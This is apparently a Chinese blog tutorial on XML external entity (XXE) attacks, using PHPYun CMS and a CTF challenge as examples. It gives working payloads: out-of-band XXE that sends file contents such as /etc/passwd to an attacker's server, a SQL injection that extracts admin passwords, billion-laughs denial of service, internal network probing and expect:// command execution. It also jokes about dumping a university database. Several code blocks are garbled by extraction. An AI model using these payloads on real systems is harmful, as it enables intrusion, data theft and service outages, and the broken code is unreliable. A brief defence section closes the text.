首先,我们需要对XML进行一定的了解,在这里不做过多的多余叙述,接下图为XML工作流程:
简易xml概括
实体引用
对于实体ENTITY,XML定义了两种类型的实体,一种在XML文档中使用,另一种作为参数在DTD中使用。语法如下:
1 | <!DOCTYPE 名字 [<!ENTITY 实体名 "实体内容"]> |
楼下为预定义的实体引用
DTD(文档类型定义)
定义:
其可定义XML文档的合法构建模块,可在XML文档内声明,也可外部引用。
构建方式:
先来说下CDATA,指由XML解析器进行解析的文本数据(未分析的字符数据)。在XML中,<,&字符为非法,避免麻烦例如JS代码,就将脚本代码定为CDATA ,其中的内容都会被解析器忽略,组成结构为:" <![CDATA [" ****"]]>"
。其次就是普通声明及引用
1 | <!ENTITY entity-name "entity-value"> |
引用:<message>&entity-name; </ message>
,即可将“ entity-value”展示出来
1.内部实体声明
内部实体指在一个实体中定义的另一个实体,可用单双引号来区分内外部。
1 | eg:<!ENTITY % in "<!ENTITY web 'http://vps'>"> |
2.外部实体声明及默认协议
1 | eg: "1.0" encoding="utf-8" xml version= |
3.参数实体
参数实体仅用于DTD和文档的内部子集中,XML的规范定义中,仅在DTD中才能引用参数实体。并且参数实体的引用在DTD中是该类型的实体使用“百分比”字符(或十六进制)编码的百分比)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容,其在DTD中的解析优先于XML文本中的内部实体解析。
1 | eg: "1.0" encoding="utf-8" xml version= |
漏洞利用
XXE
原理(以PHPYun cms为例)
这里的漏洞位置为此cms的weixin/model/index.class.php
,如下所示:
1 | private function responseMsg() |
我们可以看到$postStr = $GLOBALS["HTTP_RAW_POST_DATA"]
,这句话的意思是传递原生的语句,而后$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
又通过simplexml_load_string函数解析后,直接传入$textTpl
.
1 | $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr); |
这里也相当于直接获取post过来的XML内容直接输出.(请记住这一部分,我们将会在下一部分XXE与SQL注入继续审计)
外部实体注入
payload:
1 | "1.0" encoding="utf-8" xml version= |
基于盲注的XXE
原理
当我们在无回显和无报错的基础上使用盲注,即来构建一条带外信道(OOB)获得数据,主要使用DTD中的内部实体及参数实体。
示例
注入xml文件
1 | "1.0" xml version= |
xxx.xml文件
1 | <!ENTITY % receive "<!ENTITY send SYSTEM 'http://xxx/x.php?host=%host;'>"> |
x.php
1 |
|
通过以上代码就可以进行读取文件等常规操作了,以上说的是php环境,再说下java环境:可通过gopher,file和jar等协议进行配合nc,ftp协议,
这里找到一个赏金猎人写的文章,可以一看
验证漏洞
其实只要让网站对我们的服务器发一个http请求,然后看是否服务器接收到请求即可。代码如下:
1 | "1.0" encoding="UTF-8" xml version= |
基于报错的XXE
和sql注入中的报错注入差不多的原理,当我们将payload故意写错,例如在第二行出错,那xml的内容就会出现在下一行。
下图为示例
XML配置文件未授权访问
多见于用户名,密码,apache,ldap数据库等配置信息泄露
更多示例可查看以下链接:
https://m.hundan.org/wooyun-2015-0123762;
https://m.hundan.org/wooyun-2015-0123588;
https://m.hundan.org/wooyun-2016-0207791(19护网顺手挖到了一个同款漏洞呵呵)
XXE与SQL注入
原理(PHPYun cms为例)
1 | if($MsgType=='event') |
1 | private function isBind($wxid='') |
我们可以看到第一段代码满足后,会进入第二段代码的isBind函数,这里$wxid
是我们传入的FromUserName
的值,我们在上面XXE原理进行过代码审计知道它不会对我们传入的数据进行过滤,由此可进行SQL注入
payload:<FromUserName>1111' and 1=2 union select 1,(select concat(username,0x23,password) from phpyun_admin_user limit 0,1)#</FromUserName>
需要注意的是一定要修改HTTP请求为Content-Type: text/ xml;
案例
为避免重复造轮,可自行查看火遍各大高校的某方教务,可拖数据库
XXE与XSS攻击
这篇文章写的很不错,可以借鉴一下
使用XML内部实体绕过Chrome和IE的XSS过滤器
XXE与DDOS攻击
原理
一般分为两种:
- 1.请求大的文件(eg:C:/pagefile.sys 或/dev/random)
/dev/random处于unix中,用作伪随机数生成1
<!ENTITY go "file:///dev/random" >]><msg>&go;</msg>
- 2.billion laughs攻击,即通过不断递归调用来使解析器繁忙,占用内存最终崩掉。(可配合LOIC工具,食用更佳)
1 | <!--此代码包含10亿个大文件,约占3000M字节内存--> |
案例
https://m.hundan.org/wooyun-2015-0137143
XXE与内网信息,命令执行
这里就不进行原理阐述了,和解释器有一些关系,直接上干货,以下建议配合脚本食用更佳。
- 探测端口
如果失败则可能返回Connection refused
1
2
3
4
5
6
7"1.0" encoding="utf-8" xml version=
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.1:3306">]>
<root>
<name>&xxe;</name>
</root> - 探测内网IP
1 | "1.0" encoding="utf-8" xml version= |
在安装有expect扩展的php环境执行
1
2
3
4
5
6
7"1.0" encoding="utf-8" xml version=
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<root>
<name>&xxe;</name>
</root>XXE与Flash跨域攻击(个人认为鸡肋)
这个突破感觉几乎没有什么用,而且利用条件也相对苛刻很多,可以自行查看https://m.hundan.org/wooyun-2012-08182
https://m.hundan.org/wooyun-2011-02491
CTF例题
博主很久之前写的,想来想去就不打算再增加例题和减少掉例题了(懒),多少有点帮助,看着玩吧哈哈
API:
Blind XXE思路:
1.客户端发送payload1给web服务器
2.网络服务器向VPS获取恶意DTD,并执行文件读取payload2
3.网页服务器带着回显结果访问VPS上特定的FTP或者HTTP
4.通过VPS获得回显(NC监听端口)
payload1:
1 | "1.0" encoding= "UTF-8" xml version= |
payload2(服务器端文件):
1 | <!ENTITY % payload SYSTEM "file:///etc/passwd"> |
防御
- 1.及时升级第三方代码,中间件等
- 2.过滤用户输入数据
- 3.使用php及Java等语言的禁用外部实体方法
1 | php:libxml_disable_entity_loader(true); |